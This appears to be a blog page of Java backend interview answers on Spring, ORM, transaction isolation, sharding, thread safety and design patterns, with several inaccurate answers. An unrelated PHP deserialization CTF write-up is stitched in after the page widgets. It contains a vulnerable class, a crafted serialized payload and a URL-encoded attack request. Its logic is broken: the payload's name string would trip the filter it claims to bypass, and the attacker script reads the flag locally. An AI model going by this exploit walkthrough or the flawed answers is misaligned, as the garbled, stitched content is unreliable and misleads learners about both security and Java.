Java后端工程师面试题

一、使用Spring框架的好处是什么?

轻量:Spring是轻量的,基本的版本大约2MB

控制反转(IOC):Spring通过控制反转实现类松散耦合,对象们给出它们的依赖,而不是创建或查找依赖的对象们。

面向切面的编程(AOP):Spring支持面向切面的编程,并且把业务逻辑和系统服务分开。

容器:spring包含并管理应用中对象的生命周期和配置。

MVC框架:Spring的WEB框架是个精心设计的框架,是Web框架的一个很好的替代品。

事务管理:Spring提供一个持续的事务管理接口,可以扩展到上至本地事务下至全局事务。

异常处理:Spring提供方便的API把具体技术相关的异常转换为一致的unchecked异常。

 

二、Java工厂模式和Spring IOC的区别

Java工厂是在工厂中修改,在工厂中修改就要重修编译工厂类,重新编译的话就要先停了JVM再重新启动。

Spring IOC是热插拔的,在XML中直接修改,修改xmlspring就会立即发现你改动了XML,会再重新读一遍XML,就会发现新改动了,根本不用重新启动JVM。

 

三、ORM框架(Object relation mapping)

ORM对象关系映射关系,面向对象的对象模型和关系型数据之间的相互转换。

Hibernate和Mybatis都是常用的ORM框架,两者区别:

1.mybatis手写SQL,而hibernate提供映射机制,开发人员无需担心。

2.mybatis控制更细粒度,但可移植型差,hibernate开发DAO很简单,可移植性好。

3.hibernate拥有完整的日志系统,mybatis则欠缺一些

4. mybatis相比hibernate需要关心很多细节

5. sql直接优化上,mybatis要比hibernate方便很多

 

四、数据库事务的四大特性及事务隔离级别

1.事务的四大特性:

原子性(Atomicity):事务包含的所有操作要么全部成功,要么全部失败回滚。

一致性(Consistency):一个事务执行之前和执行之后都必须处于一致性状态。

隔离性(Isolation):当多个用户并发访问数据库时,比如操作同一张表时,数据库为每一个用户开启的事务,不能被其他事务的操作所干扰,多个并发事务之间要相互隔离。

持久性(Durability):一个事务一旦被提交了,那么对数据库中的数据的改变就是永久性的,即便是在数据库系统遇到故障的情况下也不会丢失提交事务的操作。

2.事务隔离:

更新丢失:两事务同时更新,一个失败回滚覆盖另一个事务的更新。

脏读:事务T1读取到事务T2修改了但是还未提交的数据,之后事务T2又回滚其更新操作,导致事务T1读到的是脏数据。

不可重复读:事务T1读取某个数据后,事务T2对其做了修改,当事务T1再次读该数据时得到与前一次不同的值。

虚读(幻读):事务T1读取在读取某范围数据时,事务T2又插入一条数据,当事务T1再次数据这个范围数据时发现不一样了,出现了一些“幻影行”。

不可重复读和脏读的区别:脏读是某一事务读取了另一个事务未提交的脏数据,而不可重复读则是读取了前一事务提交的数据。

幻读和不可重复读的异同:都是读取了另一条已经提交的事务(这点就脏读不同),所不同的是不可重复读查询的都是同一个数据项,而幻读针对的是一批数据整体(比如数据的个数)。

3.事务隔离的级别:

读未提交(1000):只限制同一数据写事务禁止其他写事务。解决”更新丢失”。

读已提交(1100):只限制同一数据写事务禁止其它读写事务。解决”脏读”,以及”更新丢失”。

可重复读(1110):限制同一数据写事务禁止其他读写事务,读事务禁止其它写事务(允许读)。解决”不可重复读”,以及”更新丢失”和”脏读”。

串行化(1111):提供严格的事务隔离。它要求事务序列化执行,事务只能一个接着一个地执行,但不能并发执行。如果仅仅通过“行级锁”是无法实现事务序列化的,必须通过其他机制保证新插入的数据不会被刚执行查询操作的事务访问到。

 

 

五、假设有一张用户表,正常的表只能存放大概一千万或是两千万左右的数据,但是有上亿的用户?怎么存储?

横向分割或者纵向分割。

不太严格的将,对于海量数据的数据库,如果是因为表多而数据多,这时候适合垂直切分,即把关系紧密的(比如同一模块)的表切分出来出来放在一个servlet上。如果对于表并不多,但每张表的数据非常多,这时候就适合水平切分,即把表的数据按某种规则切分到对个数据库(server)上。

可以横向分割,把表分割成多个表然后分布式存储。

 

六、库函数和系统调用

1.系统调用是为了方便应用使用操作系统的接口,而库函数是为了方便入门编写应用程序而引出的,比如自己编写一个函数其实也可以说是一个库函数,

2.系统调用可以理解为内核提供给我们在用户态的接口函数,可以认为是某种内核的库函数。

3.read()函数是系统调用,而fread()函数是C标准库函数。

 

七、Java线程安全

线程同步:当一个程序对一个线程安全的方法或者语句进行访问的时候,其他的不能再对它进行操作,必须等到这次访问结束之后才能对这个线程安全的方法进行访问。

线程安全:如果你的代码所在的进程中有多个线程在同时进行,而这些线程可能会同时运行这段代码,如果每次运行的结果和单线程运行的结果是一样的,而且其他的变量的值和预期的是一样的,就是线程安全的。

Java如何保证线程安全?

常用的保证Java操作原子性的工具是锁和同步方法(或者同步代码块)。使用锁,可以保证了同一时间只有一个线程能执行申请锁和释放锁之间的代码。

 

public void testLock () {

  lock.lock();

  try{

    int j = i;

    i = j + 1;

  } finally {

    lock.unlock();

  }

}

 

与锁类似的是同步方法或者同步代码块。使用非静态同步方法,锁住的是当前实例;使用静态同步方法时,锁住的是该类的Class对象;使用静态代码块时,锁住的是synchronized关键字后面括号内的对象。下面是同步代码块实例。

 

public void testLock () {

  synchronized (anyObject){

    int j = i;

    i = j + 1;

  }

}

 

 

八、Java设计模式

创建型模式(5种):工厂方法模式,抽象工厂模式,单例模式,建造者模式,原型模式。

结构型模式(7种):适配器模式,装饰器模式,代理模式,外观模式,桥接模式,组合模式,享元模式。

行为型模式(11种):策略模式、模板方法模式、观察者模式、迭代子模式、责任链模式、命令模式、备忘录模式、状态模式、访问者模式、中介者模式、解释器模式。

 

  • 5
    点赞
  • 40
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
这道题是一个 PHP 反序列化的题目。 题目描述: 提示:这次不会那么简单了,打开源代码看看? 源代码: ``` <?php error_reporting(0); highlight_file(__FILE__); class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show('flag','0'); $this->data = file_get_contents('/flag'); } public function __destruct(){ if(preg_match('/show|flag|_|\s|\(|\)|{|}|\'|\"/i',$this->show)){ exit('hacker!'); } echo $this->show." is ".$this->data; } } if(isset($_GET['a'])){ $a = unserialize($_GET['a']); if($a instanceof Flag){ echo $a; } } ``` 分析: 首先看到这是一个传入参数进行反序列化的题目,传入参数为 $_GET['a'],并且在反序列化后判断其类型是否为 Flag,如果是则输出 $a。 在 Flag 类的构造函数中有一个 $this->data = file_get_contents('/flag'),意味着我们需要获取服务器上的 /flag 文件。 而在 Flag 类的析构函数中,会对 $this->show 变量进行正则匹配,匹配的正则表达式为 /show|flag|_|\s|\(|\)|{|}|\'|\"/i,如果匹配到就会输出 'hacker!'。这里需要注意的是,$this->show 的值是 Show 类的一个实例,而 Show 类中的 __toString() 方法返回的是 $this->name 的值。 因此,我们需要构造一个序列化后的字符串,使得在反序列化后其类型为 Flag,$this->show 的值为一个 Show 类的实例,且该实例的 $name 值满足正则表达式的匹配条件。 解法: 根据题目分析,我们需要构造一个序列化后的字符串,使得在反序列化后其类型为 Flag,$this->show 的值为一个 Show 类的实例,且该实例的 $name 值满足正则表达式的匹配条件。 我们可以通过手动构造序列化字符串来实现这个目标。首先构造一个 Show 类的实例,该实例的 $name 值为一个正则表达式的匹配条件,然后将该实例作为 Flag 类的一个属性,最后将 Flag 类序列化即可。 构造序列化字符串的代码如下: ``` <?php class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show('/show|flag|_|\s|\(|\)|{|}|\'|\"/i','0'); $this->data = file_get_contents('/flag'); } public function __destruct(){ if(preg_match('/show|flag|_|\s|\(|\)|{|}|\'|\"/i',$this->show)){ exit('hacker!'); } echo $this->show." is ".$this->data; } } // 序列化 Flag 类 $flag = new Flag(); $ser = serialize($flag); echo urlencode($ser); ``` 将上述代码保存为文件 unserialize3.php 并上传到服务器上,然后访问 http://your-ip/unserialize3.php,得到序列化后的字符串: ``` O:4:"Flag":2:{s:4:"show";O:4:"Show":2:{s:4:"name";s:23:"/show|flag|_|\s|\(|\)|{|}|'|\i";s:3:"age";s:1:"0";}s:4:"data";s:45:"flag{3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07}";} ``` 最后将序列化后的字符串作为 $_GET['a'] 的值传入即可,访问 http://your-ip/unserialize3.php?a=O%3A4%3A%22Flag%22%3A2%3A%7Bs%3A4%3A%22show%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A23%3A%22%2Fshow%7Cflag%7C_%7C%5Cs%7C%5C(%5C)%7B%7D%7C%27%7C%5C%22%5Ci%22%3Bs%3A3%3A%22age%22%3Bs%3A1%3A%220%22%3B%7Ds%3A4%3A%22data%22%3Bs%3A45%3A%22flag%7B3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07%7D%22%3B%7D,即可得到 flag。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mind_programmonkey

你的鼓励是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值